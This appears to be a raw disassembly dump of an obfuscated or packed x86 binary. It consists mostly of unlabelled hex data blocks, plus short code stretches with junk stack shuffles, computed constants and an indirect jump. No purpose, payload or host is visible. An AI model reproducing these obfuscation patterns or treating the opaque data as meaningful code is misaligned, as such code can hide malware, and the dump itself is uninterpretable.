		dd 0E855C78h, 0DC5271B6h, 1E663h, 5B14B500h, 69A6EA2Fh
		dd 0C1F66134h, 0F008DEEh, 9F7407DAh, 70F1B095h,	0E4B4D342h
		dd 0CE3DD002h, 0E008BDC6h, 81E9F47h, 37505888h,	4447DF8Eh
		dd 586E1039h, 0A26BB346h, 6D75DDEBh, 47DFE41Ah,	0C9355E69h
		dd 83C2EB78h, 0A2F9738Dh, 31B50BBh, 412CA59Eh, 0F44CBC4h
		dd 92C74846h, 0FEE3FEEAh, 788097D6h, 46CE170Fh,	82CE616Ch
		dd 55A8285Fh, 707DDC52h, 8E000001h, 696BBD5h, 87C6F01Dh
		dd 274E83EEh, 0CD8D681Fh, 0A5101B46h, 0A4AEE412h, 30E900BFh
		dd 0C020B35Ch, 47DF5FFFh, 546CA1ACh, 412C5D4Dh,	3C538EAAh
		dd 0DC521C44h, 13691h, 1C72E300h, 99F5BEF3h, 0C3CC2976h
		dd 6005828Ah, 6B7647DFh, 55394100h, 3049F18Ch, 10C9F025h
		dd 0A101947Bh, 4DF18EEAh, 9DF4ED09h, 24AECD25h,	31F2h
		dd 0A5AE4400h, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh, 484DF180h
		dd 9DEAF209h, 0DE4DF180h, 0E151AAD3h, 88E62CA5h, 5138A9F5h
		dd 24AE7271h, 9AA6h, 9314F800h,	17B54141h, 0F90A9DA7h
		dd 7C457A95h, 0C9FE11h,	254C818Eh, 0BCF11E6Ch, 494556E9h
		dd 0ED9179C6h, 0F47DFA7h, 0E643907Fh, 3139F8DDh, 49F24AE8h
		dd 540DCCD7h, 0F089D639h, 0A4F3729Dh, 0CEEBA314h, 3DA6229h
		dd 8B060000h, 0EE9E3784h, 4F3BD421h, 0B5DA73C0h, 19740D5Ah
		dd 0FCB9A9F6h, 27749BF2h, 0C512FD8Eh, 5EAB642Ch, 0F946C9C5h
		dd 0BFC8D01Fh, 0BC4DF70Ah, 5B1409DFh, 3A4BDE31h, 44FDBC53h
		dd 0C093C847h, 0ACE12E5Fh, 0B04946D9h, 473373DEh, 0A7150DC3h
		dd 7239EF3Ch, 0F5BEF31Ch, 0A0B77699h, 0DF5FEF98h, 0EE818C47h
		dd 5F8509F1h, 6A7347DFh, 5F681F27h, 0EE8A47DFh,	0F4ED0895h
		dd 0B9242FC7h, 1688F2FAh, 0D79049F2h, 7DC558B7h, 146F2572h
		dd 3F1F325Bh, 7167B74Fh, 1B23E24Dh, 47DF776Ch, 6071040Fh
		dd 6EA1EB2Eh, 8B4403h, 0CE977C0Fh, 0A5024FC0h, 0EEF6B59Ch
		dd 49F1A4A0h, 0E12F1EE7h, 7AE83AC7h, 0C9C2DA0Fh, 2A4DF1EDh
		dd 0BBCCD4EBh, 0FF4DF1EDh, 0DBE67E91h, 0AEE5FC48h, 24AE6CD6h
		dd 4803h, 0A5AE5500h, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh
		dd 0F4DF180h, 925B907Fh, 0D9B617F8h, 0B4700136h, 0AB7A4236h
		dd 0E9F80C3Ah, 31B0CCF4h, 24EB9F58h, 0ACAC2491h, 0CE7924AEh
		dd 8A000000h, 0BE1C6B73h, 545F4DF1h, 0E47798F3h, 0F31C72B6h
		dd 7798F5BEh, 0FA157942h, 3E1D9EC5h, 3063B818h,	0E1ADBE51h
		dd 85F9E12Eh, 0D747E031h, 140B58B7h, 0AADF305Bh, 0FB66A9E1h
		dd 0D8375768h, 280D16A3h, 2BF56169h, 0D5E049F2h, 33222B88h
		dd 0D4AF6C74h, 35945004h, 0E5DB5A2Dh, 67602947h, 0D4F38F74h
		dd 2CEB56C1h, 0EE371A73h, 0E9D00864h, 30C83E4h,	4390FBCEh
		dd 0AD2CE3AAh, 0EDB167D8h, 3DAE751Ah, 69000002h, 19AE728h
		dd 9E37848Bh, 3DD623ECh, 0D770BD52h, 1C0C59B6h,	0D7385599h
		dd 759AF18Ah, 0E018F28h, 0A96628C1h, 2B33825Ch,	4DF70C5Ch
		dd 726C421Fh, 7C35F41Bh, 0EE9CFD12h, 8619EC21h,	719EF089h
		dd 7B94F9B2h, 0E3E07346h, 0C0A5AE2Dh, 1AD3EA01h, 96699E71h
		dd 0DF5FA1E6h, 44D7E247h, 0F17EE2E4h, 0E51A2549h, 888705BEh
		dd 0A5578053h, 83B851EEh, 820969FCh, 714DF189h,	0FB147932h
		dd 0CEC51C68h, 24AED4F6h, 11023h, 0F7B3400h, 23EC9F00h
		dd 1C726290h, 98F5BEF3h, 542A4277h, 0AA47DF5Ah,	45DE2BE4h
		dd 4E07C649h, 0C99CD13Eh, 712A5136h, 895EF11Eh,	0BBD29180h
		dd 4F848B02h, 0CD89E97Ch, 1149F15Ch, 6595F2FAh,	0DBE64DF1h
		dd 99A10048h, 4DF165EEh, 0BBC3828Dh, 4DF165CCh,	0EC39A4AFh
		dd 434B868Fh, 4DF16544h, 2C12C37h, 0B55A32EBh, 8AFDAD80h
		dd 0F94DF165h, 10FF8DEEh, 0B8060E7Dh, 0E8500407h, 9C7318D1h
		dd 0A3E49467h, 0E047E60Bh, 790E16D5h, 0A47E60Bh, 19246CFFh
		dd 23ECA15Ah, 7EAAE364h, 9366214Ch, 530C0300h, 0F78803Bh
		dd 6C47E56Ch, 0EEC1F661h, 0E434A5Bh, 0D83F91B7h, 0F271DCA2h
		dd 0EDB1BE89h, 0EDFDC469h, 19000000h, 0B14A9778h, 4EE734DBh
		dd 0ED86D33Ch, 87206DA2h, 0CCBC0906h, 878805E9h, 25EAA13Ah
		dd 0BE513FD8h, 59B6D871h, 0DBE3320Ch, 4DF70DACh, 721CF2CFh
		dd 72B4361Bh, 0F6E7BE42h, 0E9A53E8Bh, 29E2D926h, 39D6B861h
		dd 33C699CEh, 0F31C7205h, 7699F5BEh, 0E8C3CC29h, 820C6DA2h
		dd 1A85588Dh, 0FFD6535Bh, 0DAE549F4h, 0C5C57EA5h, 0E8A6B74Ah
		dd 0CCE3DA27h, 0DAADB5h, 9EA94DF7h, 0F70099EEh,	4CDFEA4Dh
		dd 87BC533Bh, 79C85F6Fh, 62ADDDEBh, 77DA9C2Dh, 5CFAF1Ch
		dd 0F227E8A4h, 5E835E4Ah, 2AC51C30h, 6BECAB64h,	44448B2h
		dd 201DB068h, 0AA17A829h, 56385EDFh, 33DCB2C3h,	0B55A35FEh
		dd 0F5ECD880h, 2E7B94FAh, 6F182037h, 0CAC933Eh,	4D3A4201h
		dd 2EAC933Eh, 0F7F9023h, 0D04CB00h, 6E000000h, 92F5FD14h
		dd 0F147DF5Fh, 4F253E6h, 0BBF01F72h, 3E739CF2h,	0BFF41B75h
		dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h
		dd 0DB10FF8Dh
		db 0D4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	1F74h
		mov	[esp], edi
		mov	ebp, 700466B9h
		add	ebp, 35FA4BC5h
		push	edx
		mov	edx, 196C46F7h
		add	edx, 66171212h
		sub	edx, 52C8E295h
		or	ebp, edx
		pop	edx
		add	ebp, 5818AB8Ch
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, ebp
		mov	[edi+8], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		sbb	edi, [eax+617AF6Bh]
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 4705h
		dd 2D053B19h, 1F374148h, 47A537Fh, 17702136h, 60E93D9Dh
		dd 0A8FC4184h, 51FC48EEh, 33E91AB0h, 27000000h,	760510h
		dd 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh,	0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h
		dd 0
		dd 70E90000h, 6800000Bh, 617B178h, 0FAD090E9h, 0B2C368FFh
		dd 86E90617h, 68FFFAD0h, 617B3DDh, 0FAD07CE9h, 0B4C568FFh
		dd 72E90617h, 68FFFAD0h, 617B577h, 0FAD068E9h, 0B66068FFh
		dd 5EE90617h, 68FFFAD0h, 617B6FEh, 0FAD054E9h, 0B91368FFh
		dd 4AE90617h, 68FFFAD0h, 617BA35h, 0FAD040E9h, 31DEB3FFh
		dd 0CE414BE4h, 6DA2E881h, 7088720h, 0A36C21BAh,	9F4F6656h
		dd 3BD421EEh, 0D972BF50h, 720B58B7h, 0CCA6F31Ch, 1012757Dh
		dd 94714DF7h, 0C0A5AEBEh, 1004F901h, 182349F7h,	4894259h
		dd 62977815h, 1CEF248Fh, 0F9167889h, 947B13ACh,	0E6C9D25Fh
		dd 603368A7h, 0AC2E36F5h, 1B500EBFh, 0B93A5110h, 0DEFB2CFBh
		dd 3243D6A1h, 30575F5Ch, 5347DFA8h, 9990DD48h, 24636B82h
		dd 5747DFA8h, 0A7EB9C4Ch, 8D9847DFh, 398ABD64h,	0D4679E4Dh
		dd 8544CBC3h, 194EC1CCh, 68A7E546h, 5A63F0D5h, 0DC95AC6Bh
		dd 69C95CB3h, 49F1C509h, 94AA2934h, 0BEEBAA5Fh,	9B25219h
		dd 97FA0000h, 0FA922B78h, 5B2FC815h, 0C1CE67B4h, 2568014Eh
		dd 8AD9DEAh, 1B68A7E6h,	0B9060982h, 529F7020h, 0ED3AD5B9h
		dd 0CBBCC413h, 0B84DF710h, 1C7205DBh, 99F5BEF3h, 1B322976h
		dd 0DF5F7413h, 69FC0747h, 0E7A68B94h, 0F18CAFDFh, 96CBD649h
		dd 0F18F0D7Eh, 17CAE64Dh, 0AECD1070h, 56C524h, 0AE170000h
		dd 0F901C0A5h, 49F17ECDh, 0B6D1D938h, 0C54DF180h, 0F31A4FBAh
		dd 80B3D4DCh, 0C5D04DF1h, 80B9D232h, 0FB3A4DF1h, 0B98D3D7Ah
		dd 9BFCEAB8h, 14E71CF3h, 0E3AC3581h, 0D7A01F62h, 0C3CA06F4h
		dd 0E14EE14Ch, 24AE53E1h, 927D10C9h, 7BB05F31h,	0FB1315A8h
		dd 65000000h, 0BEF31C72h, 0A6F1697h, 0A9C20B87h, 0C7A5E2EAh
		dd 0CBD647DFh, 0A9662738h, 0F8944D74h, 0C7CCBBC3h, 0A4AF47DFh
		dd 9E310439h, 0D90E018Dh, 44917E10h, 0DFC4365Ch, 0D9365847h
		dd 749BF38Ch, 0BCA9B23Fh, 0C64944FDh, 0CA88FF07h, 0F0FB47DFh
		dd 1ED7EE5Dh, 2CE3A871h, 90B98CC1h, 0B5DF6717h,	0C6CFFA6h
		dd 49F1ADCEh, 84E12E39h, 260FD87Bh, 0B767A9E7h,	0F16DD8AFh
		dd 35A0AB4Dh, 83030BCAh, 0F2500410h, 1E6F28E7h,	820BA4F1h
		dd 0A6020E8Dh, 8B30EDBEh, 867C4h, 2DE2AF00h, 0CA4547E0h
		dd 69A6E47Dh, 30C831Ch,	9F701DB6h, 9B536252h, 37D01DF2h
		dd 0D56EBB54h, 6E0754BBh, 0C8A2EF20h, 12167179h, 88654DF7h
		dd 0F41B72B2h, 71161E35h, 1247DF5Fh, 0A26BDE07h, 0F729BD8Bh
		dd 0C0CE6764h, 0B5D7904Fh, 0D3CAC75Ah, 689D721Ah, 2F4E3941h
		dd 222D47E0h, 34B18EB7h, 0F079C445h, 0FD142F5Dh, 16C64944h
		dd 47DF5F71h, 9F740712h, 0E8F0AF96h, 49F17EDEh,	0A8CE6029h
		dd 0B741FD28h, 8CFF174Ch, 674DF247h, 97EF964Bh,	4424AE16h
		dd 0C5h, 0F5FD1496h, 47DF5F92h,	15AD6228h, 2866770Ah, 91128E7h
		dd 47DF5F7Eh, 7A5FF2FDh, 0FE33DCB1h, 0DF5BACE6h, 53BCD247h
		dd 0F8216D06h, 0DC117C93h, 0F1969EB5h, 147DF62h, 98730083h
		dd 79841C32h, 190811E6h, 35AED95Ah, 0E37FD148h,	0D1060982h
		dd 0F4FC6BFEh, 49F186E6h, 0C69B6C1h, 485F1E03h,	2E31C8C7h
		dd 57EA20CAh, 4C89CF7h,	0BD7C8750h, 39868904h, 0A322EDA0h
		dd 0EDBE6BA1h, 4D450CB1h, 95000007h, 2DC613FCh,	0CA63B05Fh
		dd 69024FC0h, 39CE926h,	4838858Ah, 30C816Dh, 0A16E1DB6h
		dd 3AD5BB54h, 0D53A54EDh, 575FAE88h, 4DF71330h,	14A07653h
		dd 0D1292593h, 54E7EDCDh, 78C54A43h, 1360AFDFh,	0F31C725Dh
		dd 72151D34h, 1147DF5Fh, 28E7A506h, 0A7E7B095h,	58331B68h
		dd 9E47DF5Fh, 3D455C95h, 47DF5F4Ah, 97E2E39h, 7A47DF60h
		dd 0FB48FBB1h, 0BC27F88Dh, 398A9251h, 4A49F7AFh, 0B9D64349h
		dd 0C180EB56h, 53888708h, 8E63242Ch, 15204DF6h,	91A817AAh
		dd 8F15727Ah, 5B664DF6h, 38D7B7C8h, 0D33C52EBh,	92F5FD14h
		dd 0F14DF68Eh, 8EFD8A92h, 737E4DF6h, 69907508h,	0D132DDB0h
		dd 0E9BE51BEh, 1B32F1E0h, 0B2E72862h, 0EAEC4CDFh, 0A65008A4h
		dd 9900878Fh, 788347E4h, 13929DE5h, 0EDBD3C2Bh,	659B6207h
		dd 0AD000006h, 45DE2BE4h, 0E27BC847h, 811A67A8h, 1BB4010Eh
		dd 60509D72h, 1BF49955h, 0B95635CEh, 52BDD36Ch,	0ED226C05h
		dd 6F77C6A0h, 4DF71418h, 72B88E6Bh, 7B34F31Ch, 0F3C6FB14h
		dd 0DCB27B60h, 9B1FFE33h, 1CF39B46h, 0FEFADACFh, 72F22BCh
		dd 81000000h, 17B74h, 6823DE00h, 8E47DF5Fh, 0D9E1A085h
		dd 49F70FF9h, 0B0333CBDh, 77083DC3h, 4AD39CE4h,	0E50AAC10h
		dd 0C7803FAAh, 62FB48C7h, 21AEE32Ch, 536A2918h,	0EA53343Ch
		dd 25304DF6h, 0A43292h,	4A135009h, 6256B3A0h, 0A832949Fh
		dd 8CC85982h, 107B94F6h, 363826A5h, 751AEDBDh, 5B3AEh
		dd 7996FB00h, 16F9932Ch, 0B55A30C9h, 4FC0CF68h,	0EB246902h
		dd 0E707AE9Eh, 831C69A6h, 21BA0708h, 0BA53A06Fh, 14EE3BD4h
		dd 14CABDC5h, 0DCB94DF7h, 0F31C7206h, 8099F5BEh, 0FDD0050Ah
		dd 0F752D392h, 981AFFD9h, 4322079Ah, 0A7D859Ch,	7947DF9Eh
		dd 528FDB6Eh, 0CB18F797h, 0BCC0FED6h, 0E33DBE22h, 5AB5DB66h
		dd 0E96CCB31h, 75456h, 74A60000h, 0ACh,	305B14DEh, 6E774CDFh
		dd 3DC0C887h, 6A49F710h, 0D089A05Fh, 471A4FC0h,	24EBA3B4h
		dd 0D7E4AC65h, 0F70FB8CFh, 55C0CB4Dh, 622CC5C2h, 0E2EB78ADh
		dd 4A7F90FDh, 0CE030C81h, 662590FBh, 0EC07C5Eh,	40C6B50h
		dd 47DF5F83h, 0CB8AF500h, 46937C12h, 0F92EE1ADh, 0BF7E636Ch
		dd 0F17FBBB7h, 0D28BEA49h, 0E6A151BEh, 954DF17Eh, 0CCA01F8Ah
		dd 86EBAA1Ah, 4CA1AE1h,	7F120000h, 0E2AA4390h, 4347E02Dh
		dd 0A9E67FCCh, 0D801966h, 0F0C5B502h, 33808FFEh, 0D11EF19Ah
		dd 6AB75838h, 552BDD1h,	0B3D4DC2Bh, 0D04DF715h,	1F741DF3h
		dd 0DE000001h, 1C0A5AEh, 0F71004F9h, 59182349h,	0D421EEA0h
		dd 0A56A24DDh, 828D0112h, 0CAB7C04Dh, 0BFD7030Bh, 0BBC6500Eh
		dd 88287BFCh, 0D576DFCEh, 741AD342h, 0D9B54E9Bh, 6B740136h
		dd 800EC786h, 26875A8Fh, 0A514A768h, 186F778Eh,	6B47DF7Dh
		dd 0D15925A2h, 0F45FB055h, 0D6710161h, 919C49F1h, 0AA4D4812h
		dd 7E45EAEBh, 42Ch, 0A5F21D74h,	428F800Ch, 0E12EE1A9h
		dd 7BC84748h, 1764ABE2h, 2D608E27h, 8FFC95E2h, 0F69A3380h
		dd 5B33CC19h, 3E8D67B4h, 0F7155136h, 7F55324Dh,	0BEF31C72h
		dd 0F788097h, 6C47DF60h, 0D1BDCE61h, 4D40093Eh,	0C7C48DC2h
		dd 6AA5E748h, 40A18D35h, 41A0249Bh, 1AD3E8A6h, 9EE99976h
		dd 0DD47DF5Fh, 9BEDA9D2h, 0D985DB09h, 542C216Eh, 8122BCD2h
		dd 42h,	14737B92h, 6747DF99h, 149BC95Ch, 5F92F5FDh, 0E6F147DFh
		dd 90757E53h, 0AE37C9D1h, 0FF0A49F1h, 0C038740h, 0ADB7D7BFh
		dd 90A74DF1h, 0F1ADFF88h, 0DE717C4Dh, 14EC1CDh,	0B8ED2268h
		dd 377F1h, 1E725B00h, 15808FFBh, 8D00B9E0h, 8E8D68C4h
		dd 59C4AEF0h, 92F5FD24h, 0F147DFB4h, 0D7E87BE6h, 0E09958B7h
		dd 9B2C61AEh, 0D7A22D54h, 0DF72DD21h, 0CA4549E2h, 4DC2CC95h
		dd 0EAF20900h, 47E0279Dh, 27D8AFB7h, 0A0AB47E0h, 956AFD08h
		dd 0DEE6A58Ch, 49F254B0h, 540DCCD7h, 1018D738h,	4DF24677h
		dd 8166F904h, 0F2472269h, 2CB5D14Dh, 0AE056D65h, 51BA24h
		dd 0AE0C0000h, 0F901C0A5h, 49F17ECDh, 0BC533738h, 1449B487h
		dd 0F1808FFCh, 0AD622B4Dh, 33DCAF78h, 0B8CFD7FEh, 0CB4DF180h
		dd 1CC549C0h, 39FBBD09h, 27927C22h, 28A9C0FFh
		dd 0B43F1B3h, 8EF9A9D5h, 0ED4DF1DAh, 0DE034FE2h, 0AE852FA7h
		dd 0ECFC24h, 724E0000h,	0F5BEF31Ch, 37B87798h, 0B5DBCEE3h
		dd 5EDC315Ah, 3267A8E2h, 7C61F45Fh, 20EF9C55h, 748518EBh
		dd 0F7C0F51Ah, 432B7897h, 47DF604Fh, 0A9F61975h, 5C917E10h
		dd 20DFC6CFh, 9DEAF209h, 0DE47DF65h, 76E040D3h,	6149F15Eh
		dd 0AADF3060h, 0C21F6CD7h, 0A0450EB9h, 0DE853B1h, 0F1EE8205h
		dd 8BF6014Dh, 0C2596120h, 7A500492h, 0D42CDC1h,	545FA73Ah
		dd 0C7C57E95h, 0E9A4B548h, 4D40D926h, 8221666Eh, 36247E5h
		dd 0E5818CFBh, 79E4EF47h, 27C78F0Eh, 0C66BEDBEh, 217FFh
		dd 0DD325F00h, 7A95F790h, 19F6942Dh, 0B35C33CCh, 4FC0CD66h
		dd 4BA31202h, 0E780CD42h, 851E6BA4h, 1EB7040Bh,	78529F70h
		dd 18662129h, 38154DF7h, 0FE1B7262h, 0CB18838Ch, 0D2B5BDD4h
		dd 0B147DF5Fh, 0C42FE0B0h, 5F8AFD05h, 0EEF947DFh, 0CB444A5Bh
		dd 0A5AEC87Eh, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh, 484DF180h
		dd 5BDCB52Ch, 731B4CA3h, 6B94679Ch, 59829F32h, 0E4020BF4h
		dd 0D03DD0F3h, 24AE64F0h, 0D725h, 0FD147700h, 0DF5F92F5h
		dd 53E6F147h, 8EC34C42h, 8847C8C5h, 2B54BBCFh, 0F30CDDEAh
		dd 492EC184h, 0EA256922h, 869BF757h, 0CDC147DFh, 0EB6C8342h
		dd 483CF1BAh, 0CBBC6C59h, 0B847E05Eh, 841D1AADh, 43D0050Ah
		dd 0D53A553Ah, 89F41B74h, 949CB3CAh, 47E05EF3h,	92F28590h
		dd 49F257C4h, 0E4DB2833h, 7BB05F2Bh, 0F3727FA8h, 0DF19D584h
		dd 876E774Ch, 0C1FEC0C8h, 9EA95004h, 0A86726DFh, 0F1E3645Bh
		dd 517405AAh, 0FE3BF882h, 36A18813h, 1EFB92A3h,	0B736A16Eh
		dd 0EDBE2B11h, 0F5753CE1h, 3D000000h, 0D56EBB54h, 720B58B7h
		dd 11AAF718h, 0AB44917Eh, 0F0E02DE2h, 0AB6429C5h, 49C6C55Eh
		dd 0E22D63FCh, 7D92FC95h, 0FF075630h, 4DF71988h, 72481EFBh
		dd 0EA7F41Bh, 8C428F80h, 0BEF31C72h, 297699F5h,	1FDEC3CCh
		dd 1B0AA39Eh, 0FB77A06Fh, 0B726B9B2h, 0F76933AFh, 42778249h
		dd 0ADFA1579h, 60957A14h, 7ED4648h, 4A97ABDEh, 0D320EF9Fh
		dd 5F67543Ah, 0BDE4A528h, 7F17F892h, 1E98D8B6h,	87F2B5C2h
		dd 711EE71Ch, 15FA914Ah, 2A5D0DE0h, 59BDE4BCh, 0A3D83758h
		dd 0C5FA65D0h, 35B0311Dh, 2D5A6259h, 4EBDE4BCh,	99CE414Dh
		dd 0A3F05BC6h, 0AEDC95ACh, 0BBD6B161h, 9AA5BDE4h, 7798F607h
		dd 8C8DFFB8h, 0DA00B04h, 42480128h, 0A658500Fh,	4AB5A4FFh
		dd 0CB444C15h, 0C558C396h, 17B6h, 5B142000h, 0DBB2DB34h
		dd 323F1B12h, 5281E275h, 6827F299h, 7BA93CA7h, 0BBF01F72h
		dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
		dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E68956D4h, 4C681h
		dd 0EE810000h, 4, 5C243487h, 68243C89h,	66DAh, 68241C89h
		dd 0ABFh, 56243489h, 0CB5BA52h,	74BE7CC6h, 2982DDBDh, 0F3895AD6h
		dd 1A1B685Eh, 24890000h, 24048124h, 4, 25C6685Eh, 1C890000h
		dd 242C8124h, 81D4216h,	8108468Fh, 42160846h, 34FF081Dh
		dd 0C4815E24h, 4, 5B2434FFh, 0E904C483h, 0FFFAC539h, 0B4F3B093h
		dd 704D50CAh, 7DC65942h, 0B8ACD548h, 617BB4Fh, 0E0FFC503h
		dd 874F23Ah, 79E3882Fh,	39D62C4Ah, 2A8DDC0Bh, 2969A2D8h
		dd 7E87F938h, 55D4A041h, 6D53F7ABh, 5631114Bh, 3340BA80h
		dd 49DB4FF6h, 3071104Bh, 53B2576Dh, 7FE93555h, 5A2DB6AEh
		dd 45EAD95Ah, 0DA7AAADh, 4CA5E7C7h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8195BCC3h
		dd 77682CD2h, 1BD8343h,	6122Fh,	0BD830975h, 6122149h, 50197400h
		dd 0B8C08B53h, 3FCh, 0B358589h,	9D8D0612h, 614AD09h, 585BD3FFh
		dd 2149BD83h, 74000612h, 0B8535017h, 3FCh, 0B358589h, 9D8D0612h
		dd 614A9F8h, 585BD3FFh,	1C47CB81h, 0BF0F72DBh, 0BBC08BD6h
		dd 59560D09h, 7F8FC281h, 0BD83557Bh, 6120EE9h, 8B840F01h
		dd 0E8000000h, 0Ah, 0DAACCEFBh,	0EA4C2B42h, 0E9500F6Ch
		dd 0Dh,	0FBE44775h, 53B45A6Fh, 2417C33Eh, 805A5B81h, 0BD83A5E2h
		dd 6122165h, 57850F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5C8BC352h
		dd 5ECB640h, 0CB815208h, 36F16F06h, 2EEDBD83h, 0F000612h
		dd 3D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 18C82192h, 9AE9EC05h, 0F000003h
		dd 588h, 9503BA00h, 2EF3h, 8B660000h, 0D28166D0h, 0B514EFBDh
		dd 6DB7CE4h, 0E831C122h, 33C14Bh, 5F5A9E68h, 4E8BDC1h
		dd 44285C9h, 33C155h, 315A960Fh, 0C56DF6CAh, 0EEB6AD2Dh
		dd 0D8B64C8Eh, 0F9FD404h, 0CCC5C2h, 0D2DCA748h,	0BBE33E6Eh
		dd 6351BEE7h, 0C9C0A1h,	0B7B57A48h, 0E866A12Ch,	99C148h
		dd 0B2214015h, 6A60D6F5h, 3DB9648h, 2099C148h, 89930217h
		dd 8162E534h, 1D37E50Ch, 4799C148h, 0C7AB021Fh,	0AD8260BCh
		dd 7C55E2E9h, 99CDA0h, 5E2A8648h, 5BA7C8ECh, 20778560h
		dd 69707B1Ah, 0BA97AB08h, 43912EF5h, 815501C3h,	90A5CEA2h
		dd 50154A2Eh, 0D1EDA71Fh, 595112h, 9A291Bh, 5BECC148h
		dd 5CEF9A8Bh, 44B2C56Ch, 8EC56Ch, 538FC148h, 0AE33AC8Bh
		dd 3B9CE12h, 8099C148h,	1C3EB83h, 6A98E504h, 3DB9748h
		dd 2099C148h, 89920216h, 8162E53Ch, 1837E50Ch, 4699C148h
		dd 7D42021Eh, 814A0008h, 0DE89AE93h, 0F3199921h, 515738Fh
		dd 66C344h, 0E862C122h,	99C14Bh, 590F9868h, 4428DC1h, 41785C9h
		dd 99C15Eh, 4C0F9009h, 0B39AC033h, 663B4AA1h, 573112C9h
		dd 661A7E47h, 0FC9A89C3h, 33C0F0h, 50434A48h, 0D047A71Bh
		dd 246A4812h, 0E862C122h, 99C14Bh, 590F9868h, 4428DC1h
		dd 41785C9h, 99C15Ch, 930F9009h, 66C4A0h, 4DC8D348h, 81FFCD31h
		dd 5B8C9FAAh, 58B71BC9h, 8C5588C3h, 5199AB91h, 0CCC2A0h
		dd 0C33FE148h, 247F4811h, 24DD404Ch, 0CCDA4Ch, 0C3378048h
		dd 872D212Eh, 0EA0F3B24h, 0CCC7A0h, 0B3355648h,	0E9320938h
		dd 99C141h, 0C2E18839h,	16CBC20Ah, 0C1C59A3Dh, 21CCE4Ch
		dd 6ACCC149h, 38E9248h,	2033C148h, 89C20213h, 81C8E514h
		dd 1B62E50Ch, 4333C148h, 5BC021Bh, 0F4C7475Fh, 8100E90Dh
		dd 59831B8Bh, 984D47h, 8035C148h, 8569A971h, 33C016h, 0A3B2B4F3h
		dd 1B54A45h, 654947h, 0D2B3C148h, 664099h, 0F4CC148h, 6780CAh
		dd 3689A748h, 541C06E6h, 1CAD6F5h, 6A66C148h, 3DB9148h
		dd 2099C148h, 89940210h, 8162E50Ch, 1D37E50Ch, 4099C148h
		dd 54710218h, 3B4B3989h, 921D8B70h, 6E7B402Eh, 1E7289Eh
		dd 0CC148h, 30291Fh, 5FB9C148h,	7C459E8Bh, 44E7C56Ch, 28C56Ch
		dd 57DEC148h, 0BEFD6A8Bh, 5332B628h, 0EF2896h, 0F3C148h
		dd 0CF291Bh, 5B46C148h,	5CBA9A8Bh, 4418C56Ch, 0D6C56Ch
		dd 5325C148h, 60517D8Bh, 9F8320A3h, 0CCD1A0h, 356C2048h
		dd 13C46F60h, 48A3E532h, 0AC9C42F0h, 6E28BCh, 0F02FC148h
		dd 0D57169C5h, 5196FF84h, 0C9812h, 30291Bh, 5BB9C148h
		dd 5C459A8Bh, 44E7C56Ch, 26C56Ch, 53DAC148h, 8B8CE28Bh
		dd 0D1DDA797h, 79B0A7B9h, 84963E43h, 0CCC12Eh, 0E836C122h
		dd 33C14Bh
		dd 585A9968h, 4E885C1h,	44285C9h, 33C153h, 0A55A9108h
		dd 0ECF1843Bh, 60A2C392h, 0B66F9BF2h, 0F318A03Ch, 14249308h
		dd 0C8F3428h, 8F33C148h, 35D4BEF2h, 96705519h, 61DB9ADCh
		dd 0BD67448Fh, 98C75Fh,	1325C148h, 0AD66C148h, 0F9FD8ABh
		dd 0DDD515D0h, 49175063h, 60158BAFh, 0E97B0BDAh, 99C15Ch
		dd 0C9D9CC5h, 784999C9h, 9F2B8361h, 7558DA87h, 0F4C1066Eh
		dd 5EECE18h, 0BA33C148h, 65F1BC23h, 74967813h, 85EBBAF9h
		dd 62403BFh, 0C0667CC5h, 0F8F7C75Fh, 0F56C63Ch,	0EB740899h
		dd 5799ABBDh, 0CCC2A0h,	0C339E148h, 244F4817h, 24DD404Ch
		dd 0CCDC4Ch, 0C3318648h, 0FDB2EA25h, 4DCDD8F3h,	0CE4C22E4h
		dd 6E28D7h, 427C148h, 39A1A111h, 0E9ACBC20h, 66C15Ah, 0CE34AF99h
		dd 2C6AE908h, 2F809F36h, 862AC644h, 60803BEAh, 0E9244229h
		dd 1CAD346h, 374547h, 0C2B3C148h, 6524424Bh, 0CAD369h
		dd 274447h, 59C148h, 9A291Dh, 5DECC148h, 6CEF9C8Bh, 44B2C56Ch
		dd 82C56Ch, 5589C148h, 0D6275C8Bh, 53107DA7h, 11ACEB7h
		dd 0FCCCC148h, 2E8B7CCBh, 0F33C75Ah, 99EDCCh, 0E52E4048h
		dd 66481F31h, 0E99381F3h, 99C1BEh, 0E899C122h, 66C14Bh
		dd 5DF09C68h, 4BDADC1h,	4E885C9h, 66C15Dh, 63F0940Dh, 0E9244265h
		dd 1CAD346h, 1C4447h, 59C148h, 9A291Bh,	5BECC148h, 5CEF9A8Bh
		dd 44B2C56Ch, 85C56Ch, 538FC148h, 2C0C348Bh, 0B79FA06Fh
		dd 8BFF8BA0h, 0E9913491h, 66C142h, 0D95F7D22h, 0D7C511E2h
		dd 0C74CDC05h, 138E029Bh, 5D33C148h, 9A1C6E2Ch,	0C8D07A22h
